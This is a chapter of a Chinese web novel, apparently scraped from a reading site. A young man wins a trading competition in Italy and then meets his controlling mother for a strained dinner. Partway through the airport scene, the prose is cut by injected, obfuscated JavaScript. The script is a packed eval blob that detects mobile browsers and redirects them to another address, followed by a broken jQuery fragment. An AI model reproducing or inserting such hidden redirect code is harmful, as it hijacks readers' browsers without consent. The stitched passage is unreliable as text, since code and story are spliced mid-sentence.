123读书网 > 都市小说 > 西风雾潮 > 22.如出一辙
    雪停了,铅灰色的天空死气沉沉,教学中心门口今天格外安静,没有人再围在一起抽烟或者讨论功课,取而代之的是一张手写的告示牌:


    “交易挑战赛-2楼-比赛进行中”


    每固定过一段时间,都会有人低着头推门从中走出,冬日冷风掀起他们的衣角,但不会有人分出心思去整理,深深拧着的眉心昭示着刚刚经历了怎样一场“恶战”。


    有人走到侧楼蹲下,重重叹口气,伸手陷入头发,用力搓了几把脸,像是在强迫自己冷静下来;也有人靠着花坛,指尖颤抖但依旧紧紧攥着手机,把余下不多的希望寄托在电话那头人身上。


    二楼的走廊很长,用于竞赛的教室之间用玻璃作为隔断,暖气带着泛红的颜色爬上沈叙白的脸颊,但他只是有点觉得闷,坐在笔记本电脑前手指飞动,细听房间内也只有悉悉索索的打字声。


    他盯着面前的K线看了很久,终于感觉自己的眼眶已经酸的难受,于是不动声色地抬头,目光透过玻璃隔断落在隔壁空空如也的教室。


    隔壁那间灯还没关,光线落在桌上,照亮一堆已经没用的稿纸,另一面墙上的投影显示还在不断变化的数据,黑板上笔迹停留在上一个案例分析,但人都已经走了。


    有人弃赛了。


    窗户很久没开,鼻尖萦绕的咖啡味浓得发苦,沈叙白伸手揉揉眼睛,身边有人拍上自己的背:


    “Salis,stiamo per recarci in sala subito.”


    (Salis,咱们马上就要去大厅了。)


    “già così presto che tocca a noi?”


    (这么快就要到我们了吗?)


    “Sì, questapetizione è stata molto feroce. Diversi gruppi in testa hanno ritirato la propria partecipazione.”


    (是,这次竞争太激烈,有好几个小组弃赛了。)


    沈叙白松开双手,刚刚揉搓过的眼睛此刻视线模糊,他轻轻晃晃头,把视线投到窗外——今天天气并不好,可能在有些人看来,这个天气并不是一个好兆头。


    “Sei nervoso?”


    (紧张吗?)


    持续三天的竞赛已经快到尾声,今天最后一次上场后,就是结果的揭晓,沈叙白不觉得困,也感受不到累,眼前持续飞过的数字和不断带入的模型已经占据大脑,赛程走到这里已是很多人望尘莫及。


    学生们争抢的竞赛名额和成绩,意味着将来的职业选择和能力证明,没有人不想赢,激烈的竞争在这里上演了一场不见硝烟的战争。


    “Certo che no.”


    (当然不。)


    沈叙白报以微笑,他低头合上电脑,抱上手边的一整沓资料,转身把椅子推到桌下。


    “Soltanto chi fallisce si preoccupa.”


    (会失败的人才会紧张。)


    五个人从二楼第二间教室出来,为首的学生一副华人面孔,中长发服帖的搭在脖颈,左眼下方有一颗小小的痣,衬衫因为前两天高强度竞赛有些发皱,但步伐间满是自信和从容。


    一行人走到大厅前,沈叙白深吸一口气,抬手将手搭在冰冷的把手上。


    摄像头开始识别面部。


    “滴——”


    .


    “滴——”


    “Mancano trenta secondi alla fine della partita.”


    (比赛剩下最后三十秒。)


    机械女声没有一丝情感,冰冷而严肃,沈叙白身边的男生匆忙输下最后一串代码,向后一躺重重靠在椅背上。


    “Terminato?”


    (平完了?)


    “Eh, eh.”


    (嗯。)


    钟表倒计时嘀嗒声越发响


    10,9,8,7,6,5,4——


    ——3


    ——2


    ——1


    屏幕上的排名静止了。


    紧接着,沈叙白看到小组名称,出现在No.1的位置。


    赢了。


    他浅浅吐出口气,安慰似的拍拍身边捂着眼睛的组员。


    .


    窗外的风吹的越发猛烈,沈叙白走到楼下,等着冰冷的风钻进鼻腔,才终于感受到一种落地的踏实感。


    过了。


    他拿出手机,点进熟悉的对话框,打出一句:


    “赢了。”


    方锐寻的对话框已经被他设成置顶,又因为常发消息而稳居第一位。


    而对方没有回消息,直接打来电话:


    “恭喜。”


    “不过看样子你并没有很高兴。”


    沈叙白听到男人低沉的声音,因为带着笑意而微微发颤,但却没有多少激动。


    “当然,我相信你的能力。”


    “那万一我输了呢?”


    “你有自己的打算,我只做那个支持你决定的人。”方锐寻从椅子上坐起来,看了眼时间:


    18:17。


    “晚上有时间吗,我请你吃饭,庆祝你胜利。”


    “今晚么?”


    “嗯。”


    “那可能……”沈叙白拽紧自己的围巾,把半张脸都围进去,声音闷闷的:


    “可是我今晚出去有事。”


    “好,需要我送你吗?”


    “没事,我自己去就行。”


    “有需要就给我打电话。”


    放下手机,沈叙白把被冷风吹得冻僵的手藏进大衣,低头踏入暗色夜景。


    他没有和方锐寻客气,今晚有事是真的。


    六点多的天空已经完全黑了,沈叙白坐上出租车,此刻他才真正感觉疲累,把额头顶在冰凉的玻璃窗上,低垂着眸子,任由霓虹灯光斑驳着落入眼底。


    视线中楼房少了起来,逐渐被工厂和物流仓代替,最后出现的是一块块整齐的田野——已经离开市区,抬头往远处看,一串整齐的灯光划分出方正形状。


    ——马尔彭萨机场。


    沈叙白远远看着明亮的航站楼和高耸的塔台,内心静成一潭死水。


    他不知道此刻应该有什么情绪,应该高兴还是期待,心底只觉得一阵火烧,像是被人反复炙烤,却被定在原地无法逃脱。


    是焦虑。


    站在航站楼出口处,眼前的显示屏上航班信息不断滚动,身边站着的意大利男子正吞云吐雾,烟气顺着微弱的气流被吹到沈叙白面前,他难耐地皱眉,感觉一阵胸闷。


    直到一个熟悉又陌生的身影在远处出现。


    女人的长发随着走道的风扬起,黑色的披肩也跟着动作微摆,毛领绕在颈间,红色的内衬隐隐露出边角,步伐间带着不凡的气质。


    “叙白。”


    女人摘下墨镜,精致的妆容盖不过眼角的皱纹,她在沈叙白面前站定,仔细打量一番


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187173|196379||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    沈叙白顺手接过女人手中的行李箱,低头承接她的凝视。


    多年来,一向如此。


    “妈很想你。”


    “嗯。”


    当面说话,沈叙白也不太能继续假装说出那些肉麻的台词,只能应下:


    “去吃饭吗?”


    正说着,他就要转身离开,但女人依旧站在原地没动,而是一把抓住他的胳膊,把他已经迈出去的步伐生生拉回来:


    “让妈看看你。”


    她的指尖带着寒凉,细细抚上沈叙白的额头,再顺着脸颊朝下,最终落在衣领上,把他的大衣笼紧。


    而她此刻的眼里更是带着液体,顺着指尖的移动越发湿润,像是再也忍不住,狠狠拽了一把,沈叙白一个踉跄,然后感受到母亲的眼泪落在自己手背。


    “你瘦了。”


    一副母慈子孝的美好画面。


    如果此刻沈叙白的表情没那么僵硬的话。


    他腾出一只手,作势想要在母亲背上拍拍,让她平复情绪,可最终,他只是抿着唇,手硬生生停在半空中,默默放在身侧。


    沈叙白耐心地等了一会儿,等到母亲的呼吸没有那么急促,便不动声色地往后退一小步:


    “走吧。”


    “好。”


    一路上,女人执着地揽着沈叙白的半边胳膊,走路还是上车都一直如此,沈叙白早已不习惯这样的肢体接触,透着衣袖传来的体温让他半边身子都僵硬无比,到餐厅的时候,脖颈已经直得发疼。


    “你什么时候走?”


    “你就这么想我走吗?”


    餐厅昏黄光线下,女人面上带着不满,像是在质问面前的人:


    “你们竞赛是不是快开始了?”


    “今天下午结束的。”


    “结果怎么样?”


    “还好。”


    “还好是多少?”


    “第一。”


    “嗯,这个成绩还可以”,女人用叉子把几小块西兰花放到沈叙白盘子里,紧接着又放了好几块胡萝卜:


    “你都瘦了,多吃点,这些都有营养……”


    “……”


    沈叙白看着面前的胡萝卜发愣。


    “不吃吗?”


    女人见他没有动作,就又给他放了两块:


    “快吃,都跟你说了很多次了……”


    “……”


    女人还在滔滔不绝,对自己的教育理念津津乐道,对自己的食品搭配也大为满意,见沈叙白还没有动手的意思,脸上的笑容才逐渐黯淡下去,挂上不满:


    “什么意思?”


    “妈……”,沈叙白艰涩地开口,“我真的不喜欢胡萝卜,很多年了……”


    “你现在也不想听我说的吗?”


    “没有。”


    “那你什么意思,沈叙白,你来了意大利是不是就觉得可以远离我了?”


    “妈,为什么要说这个,这和我来意大利有什么关……”


    “够了,你想和那个男人一样对吗,你就和他一样来伤害我。”


    熟悉的语气,熟悉的内容。


    不知道的还以为是一个月前的电话。


    “……”


    两人间气氛陷入沉默,沈叙白低头看面前的那几块胡萝卜,上面用叉子戳出来的洞就像是无边深渊,让他此刻头晕目眩。


    他沉沉地闭上眼,把因为最近过度劳累带来的眩晕和反胃狠狠压下去,手指带着微微颤抖,叉子的尖齿陷入淡红的果蔬。


    就和很多年前一样。


    他选择听她的话。